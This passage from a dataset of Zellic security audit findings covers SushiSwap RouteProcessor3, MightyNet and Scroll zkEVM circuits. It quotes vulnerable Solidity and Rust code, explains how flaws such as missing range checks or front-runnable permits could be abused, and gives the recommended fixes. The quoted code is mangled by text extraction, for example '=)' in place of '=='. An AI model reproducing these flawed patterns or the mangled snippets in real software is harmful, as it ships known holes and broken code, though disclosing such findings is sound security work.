for the _tokenRestrictions mapping to account for restricted tokens. mapping(bytes32 => address) private _tokenRestrictions; Together, they are used in the form _tokenRestrictions[tokenHash] multiple times in the contract. This adds unnecessary complexity in terms of maintainability and readability of the contract code. Additionally, the current implementation consumes slightly more gas than is needed. We recommend using a traditional nested mapping in order to improve the maintain- ability, readability, and gas efficiency of the contract: mapping(address => mapping(uint256 => address)) private _tokenRestrictions; Then, the state of a given token can be accessed with _tokenRestrictions[tokenCont ract][tokenId]. Zellic Mighty Bear Games might Bear Games acknowledges this. They have replaced their previously imple- mented _tokenRestrictions structure with a more efficient one as per our recom- mendation. The following is theire provided response: We have made this change to MightyNetERC721RestrictedRegistryV2. Zellic Mighty Bear Games", + "html_url": "https://github.com/Zellic/publications/blob/master/MightyNet - Zellic Audit Report.pdf" + }, + { + "title": "3.1 The RouteProcessor3 should not hold nontransient tokens", + "labels": [ + "Zellic" + ], + "body": "Target: RouteProcessor3.sol Category: Business Logic Likelihood: N/A Severity: Informational : Informational There are numerous ways in which tokens can be stolen if they are held by the RoutePro- cessor3. For example, one way is by directly asking the contract to wrap or unwrap Ether and transfer it to the user. function wrapNative(uint256 stream, address from, address tokenIn, uint256 amountIn) private { uint8 directionAndFake = stream.readUint8(); address to = stream.readAddress(); if (directionAndFake & 1 =) 1) { /) wrap native address wrapToken = stream.readAddress(); if (directionAndFake & 2 =) 0) IWETH(wrapToken).deposit{value: amountIn}(); if (to !) address(this)) IERC20(wrapToken).safeTransfer(to, amountIn); } else { /) unwrap native if (directionAndFake & 2 =) 0) { if (from !) address(this)) IERC20(tokenIn).safeTransferFrom(from, address(this), amountIn); IWETH(tokenIn).withdraw(amountIn); } payable(to).transfer(address(this).balance); } } The wrapNative function can be reached with from =) address(this) by going from processRouteInternal to processNative, listed below, Zellic Sushiswap function processNative(uint256 stream) private { uint256 amountTotal = address(this).balance; distributeAndSwap(stream, address(this), NATIVE_ADDRESS, amountTotal); } then requesting a wrapNative operation in the swap. The tokens belonging to RoutePro- cessor3 will then be wrapped or unwrapped and transferred to the user. The RouteProcessor3 contract should not hold tokens except transiently, in the middle of a transaction. Document prominently that the RouteProcessor3 contract should not hold tokens. This issue has been acknowledged by Sushiswap. Zellic Sushiswap", + "html_url": "https://github.com/Zellic/publications/blob/master/SushiSwap RouteProcessor3 - Zellic Audit Report.pdf" + }, + { + "title": "3.2 The safePermit call can be front-run", + "labels": [ + "Zellic" + ], + "body": "Target: RouteProcessor3.sol Category: Business Logic Likelihood: N/A Severity: Informational : Informational In the RouteProcessor3, a user can provide a cryptographically signed permit that, when consumed, will allow the contract to send tokens on behalf of the user. function applyPermit(address tokenIn, uint256 stream) private { /)address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) uint256 value = stream.readUint(); uint256 deadline = stream.readUint(); uint8 v = stream.readUint8(); bytes32 r = stream.readBytes32(); bytes32 s = stream.readBytes32(); IERC20Permit(tokenIn).safePermit(msg.sender, address(this), value, deadline, v, r, s); } The values of the signature are visible in the mempool until the transaction is executed. An attacker could use the genuine signature to invoke the exact call to IERC20Permit. permit. This does not cause any loss of funds, as the contract will not send funds on behalf of anyone except msg.sender and itself. However, it will cause a subsequent transac- tion to fail on IERC20Permit.safePermit, since the nonce will be incremented and the signature cannot be used again. Potentially, ignore reverts caused by safePermit calls. The contract will revert anyway when attempting to transfer tokens that are not authorized. This prevents a frontrun from halting the transaction. Zellic Sushiswap This issue has been acknowledged by Sushiswap. Zellic Sushiswap", + "html_url": "https://github.com/Zellic/publications/blob/master/SushiSwap RouteProcessor3 - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Overflow in readBytes", + "labels": [ + "Zellic" + ], + "body": "Target: InputStream.sol Category: Coding Mistakes Likelihood: Low Severity: Informational : Informational The InputStream library can be used to treat a bytes variable as a read-only stream, managing a cursor that is incremented automatically as the stream is consumed. The readBytes function can be used to read a sequence of bytes from the stream. The sequence is encoded as a length, followed by the contents of the sequence. Since the length is user provided, we believe a potential integer overflow exists in the function. function readBytes(uint256 stream) internal pure returns (bytes memory res) { assembly { let pos :) mload(stream) res :) add(pos, 32) let length :) mload(res) mstore(stream, add(res, length)) } } The stream variable keeps track of the current position of the stream. It is updated with the new position after the sequence is read, by adding the length of the sequence, which is user-provided. This addition can overflow. This does not represent an exploitable security issue in the context of RouteProces- sor3, since the data provided to readBytes is controlled by the same user that invokes the contract. We also believe no reasonable usage of the contract would trigger this bug by accident. For these reasons, this is reported as informational, with the purpose of providing hardening suggestions for the InputStream library, which might be important if it was used in other contexts. Zellic Sushiswap Ensure the calculation of the new stream position does not overflow. This issue has been acknowledged by Sushiswap. Zellic Sushiswap", + "html_url": "https://github.com/Zellic/publications/blob/master/SushiSwap RouteProcessor3 - Zellic Audit Report.pdf" + }, + { + "title": "1.1 RLP Circuit data table\u2019s byte_rev_idx is underconstrained", + "labels": [ + "Zellic" + ], + "body": "Target: RLP Circuit, rlp_circuit_fsm.rs Category: Underconstrained Cir- cuits Likelihood: High Severity: Medium : Medium The RlpFsmDataTable consists of seven advice columns and aims to map (tx_id, for mat, byte_idx) to (byte_rev_idx, byte_value, bytes_rlc, gas_cost_acc). ///)) Data table allows us a lookup argument from the RLP circuit to check the byte value at an index ///)) while decoding a tx of a given format. #)derive(Clone, Copy, Debug)] pub struct RlpFsmDataTable { ///)) Transaction index in the batch of txs. pub tx_id: Column, ///)) Format of the tx being decoded. pub format: Column, ///)) The index of the current byte. pub byte_idx: Column, ///)) The reverse index at this byte. pub byte_rev_idx: Column, ///)) The byte value at this index. pub byte_value: Column, ///)) The accumulated Random Linear Combination up until (including) the current byte. pub bytes_rlc: Column, ///)) The accumulated gas cost up until (including) the current byte. pub gas_cost_acc: Column, } There are various checks on this table, and one of them specifies what should happen when the instance (tx_id, format) changes. Scroll /) if (tx_id' =) tx_id and format' !) format) or (tx_id' !) tx_id and tx_id' !) 0) cb.condition( sum:)expr([ /) case 1 and:)expr([ tx_id_check_in_dt.is_equal_expression.expr(), not:)expr(format_check_in_dt.is_equal_expression.expr()), ]), /) case 2 and:)expr([ not:)expr(is_padding_in_dt.expr(Rotation:)next())(meta)), not:)expr(tx_id_check_in_dt.is_equal_expression.expr()), ]), ]), |cb| { /) byte_rev_idx =) 1 cb.require_equal( \u201dbyte_rev_idx is 1 at the last index\u201d, meta.query_advice(data_table.byte_rev_idx, Rotation:)cur()), 1.expr(), ); /) byte_idx' =) 1 cb.require_equal( \u201dbyte_idx resets to 1 for new format\u201d, meta.query_advice(data_table.byte_idx, Rotation:)next()), 1.expr(), ); /) bytes_rlc' =) byte_value' cb.require_equal( \u201dbytes_value and bytes_rlc are equal at the first index\u201d, meta.query_advice(data_table.byte_value, Rotation:)next()), meta.query_advice(data_table.bytes_rlc, Rotation:)next()), ); }, ); Here, in the case where tx_id' =) tx_id and format' !) format, or tx_id' !) tx_id and tx_id' !) 0, it is constrained that the current byte_rev_idx should be 1. However, this condition misses the final byte of the final transaction ID, where tx_id' !) tx_ id and tx_id' =) 0 as the next transaction is a padding. This implies that the final Scroll byte of the final transaction ID may not have byte_rev_idx =) 1, breaking the desired properties over the byte_rev_idx for the entire final transaction ID. The RlpFsmDataTable is used for a lookup, and this byte_rev_idx is also used later for various constraints. Using potentially incorrect values for byte_rev_idx may lead to further issues. The condition can be simply modified to tx_id' =) tx_id and format' !) format, or tx_id' !) tx_id. This issue has been acknowledged by Scroll, and a fix was implemented in commit 2e422878. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.2 Missing range check for byte values in RLP Circuit", + "labels": [ + "Zellic" + ], + "body": "Target: RLP Circuit, rlp_circuit_fsm.rs Category: Underconstrained Cir- cuits Likelihood: High Severity: Critical : Critical Descripton There is a check for the byte_value in the data table to be within a byte range. meta.lookup_any(\u201dbyte value check\u201d, |meta| { let cond = and:)expr([ meta.query_fixed(q_enabled, Rotation:)cur()), is_padding_in_dt.expr(Rotation:)cur())(meta), ]); vec![meta.query_advice(data_table.byte_value, Rotation:)cur())] .into_iter() .zip(range256_table.table_exprs(meta).into_iter()) .map(|(arg, table)| (cond.expr() * arg, table)) .collect() }); However, with the condition applied, it actually only checks that the padding rows have byte_value within the byte range. This means that the actual data rows\u2019 byte_va lues are never range checked properly. The byte_values are never range checked to be within [0, 256) range, which is a needed check. Change the condition to let cond = and:)expr([ meta.query_fixed(q_enabled, Rotation:)cur()), not:)expr(is_padding_in_dt.expr(Rotation:)cur())(meta)), ]); Scroll This issue has been acknowledged by Scroll, and a fix was implemented in commit 2e422878. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.3 The tag_length is never checked to be no more than max_le ngth", + "labels": [ + "Zellic" + ], + "body": "Target: RLP Circuit, rlp_circuit_fsm.rs Category: Underconstrained Cir- cuits Likelihood: High Severity: Medium : Medium The max_length is used to define the maximum length of each tag, and it is also used to decide the base to use to accumulate the byte values. However, there is no check that the tag_length is no more than max_length. The tag_length may be over max_length \u2014 so inputs that do not fit the desired speci- fications may pass all the constraints in the circuit. We recommend to add a constraint that checks tag_length <) max_length. This issue has been acknowledged by Scroll, and a fix was implemented in commit 2e422878. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.4 Missing range checks for the LtChip", + "labels": [ + "Zellic" + ], + "body": "Target: RLP Circuit, rlp_circuit_fsm.rs, Tx Circuit, tx_circuit.rs Severity: Critical Category: Underconstrained Cir- : Critical cuits Likelihood: High The LtChip itself does not constrain that the diff columns are within the byte range and delegates this check to the circuits using this chip. ///)) Config for the Lt chip. #)derive(Clone, Copy, Debug)] pub struct LtConfig { ///)) Denotes the lt outcome. If lhs < rhs then lt =) 1, otherwise lt =) 0. pub lt: Column, ///)) Denotes the bytes representation of the difference between lhs and rhs. ///)) Note that the range of each byte is not checked by this config. pub diff: [Column; N_BYTES], ///)) Denotes the range within which both lhs and rhs lie. pub range: F, } However, this is missing in the RLP circuits. For the ComparatorConfig, it is also important to check that the left hand side and the right hand side are all within the specified range. ///)) Tx id must be no greater than cum_num_txs tx_id_cmp_cum_num_txs: ComparatorConfig, Therefore, in the Tx Circuit, it should be checked that tx_id and cum_num_txs are within 16 bits. The missing range check on diff breaks the functionalities of the LtChip, so using LtC hip does not actually constrain the comparison properly. Scroll We recommend to add the needed range checks for safe usage of the comparison gadgets. This issue has been acknowledged by Scroll, and a fix was implemented in commit d0e7a07e. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.5 Missing check in the initialization on the state machine in RLP Circuit", + "labels": [ + "Zellic" + ], + "body": "Target: RLP Circuit, rlp_circuit_fsm.rs Category: Underconstrained Cir- cuits Likelihood: High Severity: Critical : Critical In the RLP state machine initialization, the byte_idx is checked to be 1, and the tag is checked to be either TxType or BeginList. meta.create_gate(\u201dsm init\u201d, |meta| { let mut cb = BaseConstraintBuilder:)default(); let tag = tag_expr(meta); constrain_eq!(meta, cb, byte_idx, 1.expr()); cb.require_zero( \u201dtag =) TxType or tag =) BeginList\u201d, (tag.expr() - TxType.expr()) * (tag - BeginList.expr()), ); cb.gate(meta.query_fixed(q_first, Rotation:)cur())) }); There is a missing check that the initial state should be DecodeTagStart. There is also no check that the initial tx_id is 1. This missing check allows us to start the decoding with states like Bytes. This may potentially lead to allowing invalid RLP decodings. We recommend to implement a check that the initial state is DecodeTagStart and that the initial tx_id is 1. Scroll This issue has been acknowledged by Scroll, and a fix was implemented in commit 2e422878. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.6 Transition to new RLP instance in the state machine is un- derconstrained in RLP Circuit", + "labels": [ + "Zellic" + ], + "body": "Target: RLP Circuit, rlp_circuit_fsm.rs Category: Underconstrained Cir- cuits Likelihood: High Severity: Critical : Critical In the state machine, in the case where depth =) 1, state' !) End, and is_tag_end =) True, the machine regards this as the transition between two RLP instances. It then constrains that the next byte_idx is 1, next depth is 0, and next state is DecodeTagStart as well as that either tx_id' = tx_id + 1 or format' = format + 1. It also constrains the tag_next column of the current row to be either TxType or Begin List. cb.condition( meta.query_advice(transit_to_new_rlp_instance, Rotation:)cur()), |cb| { let tx_id = meta.query_advice(rlp_table.tx_id, Rotation:)cur()); let tx_id_next = meta.query_advice(rlp_table.tx_id, Rotation:)next()); let format = meta.query_advice(rlp_table.format, Rotation:)cur()); let format_next = meta.query_advice(rlp_table.format, Rotation:)next()); let tag_next = tag_next_expr(meta); /) state transition. update_state!(meta, cb, byte_idx, 1); update_state!(meta, cb, depth, 0); update_state!(meta, cb, state, DecodeTagStart); cb.require_zero( \u201d(tx_id' =) tx_id + 1) or (format' =) format + 1)\u201d, (tx_id_next - tx_id - 1.expr()) * (format_next - format Scroll - 1.expr()), ); cb.require_zero( \u201dtag =) TxType or tag =) BeginList\u201d, (tag_next.expr() - TxType.expr()) * (tag_next.expr() - BeginList.expr()), ); }, ); There are two issues. First, the constraint on (tx_id', format') is weak, as it allows cases like (tx_id', format') = (tx_id - 1, format + 1). The constraint on tag_next is also weak, as there are no constraints on the next offset\u2019s tag \u2014 it should constrain that tag' is either TxType or BeginList instead. This underconstraint may allow the same transaction to appear twice in the state ma- chine and the first tag for a new RLP instance to not be equal to TxType or BeginList. We recommend to implement proper checks for (tx_id', format') as well as tag' for the transition. This issue has been acknowledged by Scroll, and a fix was implemented in commit 2e422878. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.7 Equality between tag_value and the final tag_value_acc not checked", + "labels": [ + "Zellic" + ], + "body": "Target: RLP Circuit, rlp_circuit_fsm.rs Category: Underconstrained Cir- cuits Likelihood: High Severity: Critical : Critical In the Bytes state in the state machine, the byte values are accumulated over a column tag_value_acc. The final value of this tag_value_acc is the actual tag_value, which should be stored in the table for other use. However, in the Bytes => DecodeTagStart case where tag_index = tag_length, there is no check that tag_value = tag_value_a cc. /) Bytes => DecodeTagStart cb.condition(tidx_eq_tlen, |cb| { /) assertions emit_rlp_tag!(meta, cb, tag_expr(meta), false); /) state transitions. update_state!(meta, cb, tag, tag_next_expr(meta)); update_state!(meta, cb, state, State:)DecodeTagStart); constrain_unchanged_fields!(meta, cb; rlp_table.tx_id, rlp_table.format, depth); }); Since tag_value is actually not constrained, the value that is actually in the RlpFsmRlp Table is not constrained. We recommend adding the check that tag_value is equal to tag_value_acc. Scroll This issue has been acknowledged by Scroll, and a fix was implemented in commit 2e422878. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.8 Missing do_not_emit! constraints", + "labels": [ + "Zellic" + ], + "body": "Target: RLP Circuit, rlp_circuit_fsm.rs Category: Underconstrained Cir- cuits Likelihood: High Severity: Critical : Critical The do_not_emit! macro is used to force is_output = false. This is used in various places where the current row does not represent a full tag value. However, in the DecodeTagStart => LongList transition, this check is missing. meta.create_gate(\u201dstate transition: DecodeTagStart => LongList\u201d, |meta| { let mut cb = BaseConstraintBuilder:)default(); let (bv_gt_0xf8, bv_eq_0xf8) = byte_value_gte_0xf8.expr(meta, None); let cond = and:)expr([ sum:)expr([bv_gt_0xf8, bv_eq_0xf8]), not:)expr(is_tag_end_expr(meta)), ]); cb.condition(cond.expr(), |cb| { /) assertions. constrain_eq!(meta, cb, is_tag_begin, true); /) state transitions update_state!(meta, cb, tag_length, byte_value_expr(meta) - 0xf7.expr()); update_state!(meta, cb, tag_idx, 1); update_state!(meta, cb, tag_value_acc, byte_value_next_expr(meta)); update_state!(meta, cb, state, State:)LongList); constrain_unchanged_fields!(meta, cb; rlp_table.tx_id, rlp_table.format, tag, tag_next); }); cb.gate(and:)expr([ meta.query_fixed(q_enabled, Rotation:)cur()), is_decode_tag_start(meta), Scroll ])) }); In this case, the is_output is not constrained to be false, so the RlpFsmRlpTable may have invalid rows with is_output turned on, even though it should be turned off. We recommend adding a do_not_emit! macro in this case as well. This issue has been acknowledged by Scroll, and a fix was implemented in commit 2e422878. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.9 The state machine is not constrained to end at End", + "labels": [ + "Zellic" + ], + "body": "Target: RLP Circuit, rlp_circuit_fsm.rs Category: Underconstrained Cir- cuits Likelihood: High Severity: High : High There are no constraints that the state machine ends with the state End. The state machine at the final transaction does not necessarily have to move to the End state. This means that the checks for the Case 4 in the DecodeTagStart => Deco deTagStart case can be potentially skipped \u2014 which includes the RLC, gas cost, and byte_rev_idx checks. We recommend adding a fixed column q_last, implementing the assign logic, and adding the constraint that the state is End if q_last is enabled. This issue has been acknowledged by Scroll, and a fix was implemented in commit 2e422878. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.10 Enum definition is inconsistent with the circuit layout", + "labels": [ + "Zellic" + ], + "body": "Target: Tx Circuit, witness/tx.rs Category: Code Maturity Likelihood: N/A Severity: Informational : Informational The Tx Circuit layout is composed of the fixed part with the transaction-related values of fixed size, followed by the dynamic part with the transaction calldata, which is not of fixed size. The layout for the fixed part is shown in the witness/tx.rs file\u2019s table_as signments_fixed. Value:)known(F:)from(self.id as u64)), Value:)known(F:)from(TxContextFieldTag:)Nonce as u64)), /) 2 Value:)known(F:)zero()), Value:)known(F:)from(self.nonce)), Value:)known(F:)from(self.id as u64)), Value:)known(F:)from(TxContextFieldTag:)Gas as u64)), /) 4 Value:)known(F:)zero()), Value:)known(F:)from(self.gas)), Value:)known(F:)from(self.id as u64)), Value:)known(F:)from(TxContextFieldTag:)GasPrice as u64)), /) 3 Value:)known(F:)zero()), challenges .evm_word() .map(|challenge| rlc:)value(&self.gas_price.to_le_bytes(), challenge)), Value:)known(F:)from(self.id as u64)), Value:)known(F:)from(TxContextFieldTag:)CallerAddress as u64)), /) 5 Value:)known(F:)zero()), Value:)known(self.caller_address.to_scalar().unwrap()), [ ], [ ], [ ], [ ], ...)) Scroll The issue here is that the order of the enum TxContextFieldTag matches the layout order in the circuit, except for the case of TxContextFieldTag:)Gas and TxContextFiel dTag:)GasPrice. The usage of the enums as an offset in the circuit can be seen in the circuit logic, as shown below. meta.create_gate(\u201dis_padding_tx\u201d, |meta| { let is_tag_caller_addr = is_caller_addr(meta); let mut cb = BaseConstraintBuilder:)default(); /) the offset between CallerAddress and BlockNumber let offset = usize:)from(BlockNumber) - usize:)from(CallerAddress); /) if tag =) CallerAddress cb.condition(is_tag_caller_addr.expr(), |cb| { cb.require_equal( \u201dis_padding_tx = true if caller_address = 0\u201d, meta.query_advice(is_padding_tx, Rotation(offset as i32)), value_is_zero.expr(Rotation:)cur())(meta), ); }); cb.gate(meta.query_fixed(q_enable, Rotation:)cur())) }); Therefore, for code quality, it is recommended to keep consistency between the actual offsets in the circuit layout and the TxContextFieldTag enum. Swap the order of Gas and GasPrice in the layout or the enum so that it is consistent. This issue has been acknowledged by Scroll, and a fix was implemented in commit 2e422878. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.11 The first row of each Tx in the calldata section is undercon- strained in Tx Circuit", + "labels": [ + "Zellic" + ], + "body": "Target: Tx Circuit, tx_circuit.rs Category: Underconstrained Cir- cuits Likelihood: High Severity: Critical : Critical The Tx Circuit layout\u2019s latter part deals with the calldata of each transaction. It constrains is_final is boolean if is_final is false \u2013 index' = index + 1 and tx_id' = tx_id \u2013 calldata_gas_cost_acc' = calldata_gas_cost + (value' =) 0 ? 4 : 16) if is_final is true \u2013 tx_id' !) tx_id meta.create_gate(\u201dtx call data bytes\u201d, |meta| { let mut cb = BaseConstraintBuilder:)default(); let is_final_cur = meta.query_advice(is_final, Rotation:)cur()); cb.require_boolean(\u201dis_final is boolean\u201d, is_final_cur.clone()); /) checks for any row, except the final call data byte. cb.condition(not:)expr(is_final_cur.clone()), |cb| { cb.require_equal( \u201dindex:)next =) index:)cur + 1\u201d, meta.query_advice(tx_table.index, Rotation:)next()), meta.query_advice(tx_table.index, Rotation:)cur()) + 1.expr(), ); cb.require_equal( \u201dtx_id:)next =) tx_id:)cur\u201d, tx_id_unchanged.is_equal_expression.clone(), 1.expr(), ); Scroll let value_next_is_zero = value_is_zero.expr(Rotation:)next())(meta); let gas_cost_next = select:)expr(value_next_is_zero, 4.expr(), 16.expr()); /) call data gas cost accumulator check. cb.require_equal( \u201dcalldata_gas_cost_acc:)next =) calldata_gas_cost:)cur + gas_cost_next\u201d, meta.query_advice(calldata_gas_cost_acc, Rotation:)next()), meta.query_advice(calldata_gas_cost_acc, Rotation:)cur()) + gas_cost_next, ); }); /) on the final call data byte, tx_id must change. cb.condition(is_final_cur, |cb| { cb.require_zero( \u201dtx_id changes at is_final =) 1\u201d, tx_id_unchanged.is_equal_expression.clone(), ); }); cb.gate(and:)expr(vec![ meta.query_fixed(q_enable, Rotation:)cur()), meta.query_advice(is_calldata, Rotation:)cur()), not:)expr(tx_id_is_zero.expr(Rotation:)cur())(meta)), ])) }); The issue here is that there is no constraint for the first row of the new transaction. To be exact, there is no constraint that index = 0 and calldata_gas_cost_acc = (value =) 0 ? 4 : 16) for the first row of the transaction. The index and calldata_gas_cost can be maliciously changed for the first row, which may lead to the values in the mentioned columns to be incorrect. We recommend adding the necessary constraints for the first row. Scroll This issue has been acknowledged by Scroll, and a fix was implemented in commit 2e422878. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.12 The sv_address is not constrained to be equal throughout a single transaction", + "labels": [ + "Zellic" + ], + "body": "Target: Tx Circuit, tx_circuit.rs Category: Underconstrained Cir- cuits Likelihood: High Severity: Critical : Critical The sv_address is intended to be the column representing the signer\u2019s address. The first constraint on this column is that it is equal to the caller address in the case where the address is nonzero and the transaction type is not L1Msg. Note that this is checked on the offset of CallerAddress. meta.create_gate( \u201dcaller address =) sv_address if it's not zero and tx_type !) L1Msg\u201d, |meta| { let mut cb = BaseConstraintBuilder:)default(); cb.condition(not:)expr(value_is_zero.expr(Rotation:)cur())(meta)), |cb| { cb.require_equal( \u201dcaller address =) sv_address\u201d, meta.query_advice(tx_table.value, Rotation:)cur()), meta.query_advice(sv_address, Rotation:)cur()), ); }); cb.gate(and:)expr([ meta.query_fixed(q_enable, Rotation:)cur()), meta.query_advice(is_caller_address, Rotation:)cur()), not:)expr(meta.query_advice(is_l1_msg, Rotation:)cur())), ])) }, ); The second constraint on this column is the lookup to the sig circuit. This shows that the sv_address is the recovered address from the ECDSA signature. Note that this is checked on the offset of ChainId. Scroll meta.lookup_any(\u201dSig table lookup\u201d, |meta| { let enabled = and:)expr([ /) use is_l1_msg_col instead of is_l1_msg(meta) because it has lower degree not:)expr(meta.query_advice(is_l1_msg_col, Rotation:)cur())), /) lookup to sig table on the ChainID row because we have an indicator of degree 1 /) for ChainID and ChainID is not far from (msg_hash_rlc, sig_v, /) ...))) meta.query_advice(is_chain_id, Rotation:)cur()), ]); let msg_hash_rlc = meta.query_advice(tx_table.value, Rotation(6)); let chain_id = meta.query_advice(tx_table.value, Rotation:)cur()); let sig_v = meta.query_advice(tx_table.value, Rotation(1)); let sig_r = meta.query_advice(tx_table.value, Rotation(2)); let sig_s = meta.query_advice(tx_table.value, Rotation(3)); let sv_address = meta.query_advice(sv_address, Rotation:)cur()); let v = is_eip155(meta) * (sig_v.expr() - 2.expr() * chain_id - 35.expr()) + is_pre_eip155(meta) * (sig_v.expr() - 27.expr()); let input_exprs = vec![ 1.expr(), /) q_enable = true msg_hash_rlc, /) msg_hash_rlc v, sig_r, sig_s, /) sig_v /) sig_r /) sig_s sv_address, 1.expr(), /) is_valid ]; /) LookupTable:)table_exprs is not used here since `is_valid` not used by evm circuit. let table_exprs = vec![ meta.query_fixed(sig_table.q_enable, Rotation:)cur()), /) msg_hash_rlc not needed to be looked up for tx circuit? meta.query_advice(sig_table.msg_hash_rlc, Rotation:)cur()), meta.query_advice(sig_table.sig_v, Rotation:)cur()), meta.query_advice(sig_table.sig_r_rlc, Rotation:)cur()), Scroll meta.query_advice(sig_table.sig_s_rlc, Rotation:)cur()), meta.query_advice(sig_table.recovered_addr, Rotation:)cur()), meta.query_advice(sig_table.is_valid, Rotation:)cur()), ]; input_exprs .into_iter() .zip(table_exprs.into_iter()) .map(|(input, table)| (input * enabled.expr(), table)) .collect() }); The offset of the sv_address that is checked in the two constraints are different, and there are no constraints to enforce that these two sv_address values are equal. In other words, there are no constraints to check that the sv_address value is equal throughout the rows that represent the same transaction. An attacker may use different addresses for the caller address and the ECDSA sig- nature\u2019s recovered address. Depending on the exact logic of the other circuits, this could lead to arbitrary contract calls without proper ECDSA signatures. We recommend adding the check that sv_address is equal throughout the rows of the same transaction. This issue has been acknowledged by Scroll, and a fix was implemented in commit 2565e254. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.13 Block number constraints are incorrect in PI circuit", + "labels": [ + "Zellic" + ], + "body": "Target: PI Circuit, pi_circuit.rs Category: Underconstrained Cir- cuits Likelihood: High Severity: High : High The block table is composed of a fixed column tag and advice columns index and value. ///)) Table with Block header fields #)derive(Clone, Debug)] pub struct BlockTable { ///)) Tag pub tag: Column, ///)) Index pub index: Column, ///)) Value pub value: Column, } Here, the index column is the block number corresponding to the row. The assign- ments for this table are shown in witness/block.rs. [ vec![ [ ], [ u64)), ], [ Value:)known(F:)from(BlockContextFieldTag:)Coinbase as u64)), Value:)known(current_block_number), Value:)known(self.coinbase.to_scalar().unwrap()), Value:)known(F:)from(BlockContextFieldTag:)Timestamp as Value:)known(current_block_number), Value:)known(self.timestamp.to_scalar().unwrap()), Value:)known(F:)from(BlockContextFieldTag:)Number as u64)), Scroll Value:)known(current_block_number), Value:)known(current_block_number), Value:)known(F:)from(BlockContextFieldTag:)Difficulty as ], [ u64)), Value:)known(current_block_number), randomness.map(|rand| rlc:)value(&self.difficulty.to_le_bytes(), rand)), ], [ ], [ Value:)known(F:)from(BlockContextFieldTag:)GasLimit as u64)), Value:)known(current_block_number), Value:)known(F:)from(self.gas_limit)), Value:)known(F:)from(BlockContextFieldTag:)BaseFee as u64)), Value:)known(current_block_number), randomness .map(|randomness| rlc:)value(&self.base_fee.to_le_bytes(), randomness)), ], [ ], [ ], [ u64)), ], ], Value:)known(F:)from(BlockContextFieldTag:)ChainId as u64)), Value:)known(current_block_number), Value:)known(F:)from(self.chain_id)), Value:)known(F:)from(BlockContextFieldTag:)NumTxs as u64)), Value:)known(current_block_number), Value:)known(F:)from(num_txs as u64)), Value:)known(F:)from(BlockContextFieldTag:)CumNumTxs as Value:)known(current_block_number), Value:)known(F:)from(cum_num_txs as u64)), self.block_hash_assignments(randomness), Scroll ] To constrain the block number, two checks are needed. The index values for these rows are equal. The index value is equal to the value column\u2019s value in the BlockContextFieldT ag:)Number row. However, this is incorrectly done. for (row, tag) in block_ctx .table_assignments(num_txs, cum_num_txs, challenges) .into_iter() .zip(tag.iter()) { region.assign_fixed( |) format!(\u201dblock table row {offset}\u201d), self.block_table.tag, offset, |) row[0], )?; /) index_cells of same block are equal to block_number. let mut index_cells = vec![]; let mut block_number_cell = None; for (column, value) in block_table_columns.iter().zip_eq(&row[1.)]) { let cell = region.assign_advice( |) format!(\u201dblock table row {offset}\u201d), *column, offset, |) *value, )?; if *tag =) Number &) *column =) self.block_table.value { block_number_cell = Some(cell.clone()); } if *column =) self.block_table.index { index_cells.push(cell.clone()); } if *column =) self.block_table.value { block_value_cells.push(cell); } } for i in 0.)(index_cells.len() - 1) { Scroll region.constrain_equal(index_cells[i].cell(), index_cells[i + 1].cell())?; } if *tag =) Number { region.constrain_equal( block_number_cell.unwrap().cell(), index_cells[0].cell(), )?; } ...)) } Here, the index_cells array and block_number_cell is taken for every single row, and the equality constraints between the cells are added. This means that the equality constraints between the index_cells are not actually properly being done, as this ar- ray is created for every row, not for every block. The block table\u2019s index column may not be equal to the block number. We recommend taking the declaration of the index_cells array and the block_numbe r_cell as well as the equality constraints outside the for loop of the table assignments. This issue has been acknowledged by Scroll, and a fix was implemented in commit 2e422878. Scroll", + "html_url": "https://github.com/Zellic/publications/blob/master/Scroll zkEVM - Part 2 - Audit Report.pdf" + }, + { + "title": "1.14 Missing constraint for the first tx_id in Tx Circuit", + "labels": [ + "Zellic" + ], + "body": "Target: Tx Circuit, rlp_circuit_fsm.rs Category: Underconstrained Cir- cuits Likelihood: High Severity: High : High For the tx_id column, the constraints are that if tag' = Nonce, then tx_id' = tx_id + 1, and if tag' !) Nonce, then tx_id' = tx_id. While the transitions of the tx_id column are correct, there is no check that the first tx_id is equal to 1 in the Tx Circuit. meta.create_gate(\u201dtx_id transition\u201d, |meta| { let mut cb = BaseConstraintBuilder:)default(); /) if tag_next =) Nonce, then tx_id' = tx_id + 1 cb.condition(tag_bits.value_equals(Nonce, Rotation:)next())(meta), |cb| { cb.require_equal( \u201dtx_id increments\u201d, meta.query_advice(tx_table.tx_id, Rotation:)next()), meta.query_advice(tx_table.tx_id, Rotation:)cur()) + 1.expr(), ); }); /) if tag_next !) Nonce, then tx_id' = tx_id, tx_type' = tx_type cb.condition( not:)expr(tag_bits.value_equals(Nonce, Rotation:)next())(meta)), |cb| { cb.require_equal( \u201dtx_id does not change\u201d, meta.query_advice(tx_table.tx_id, 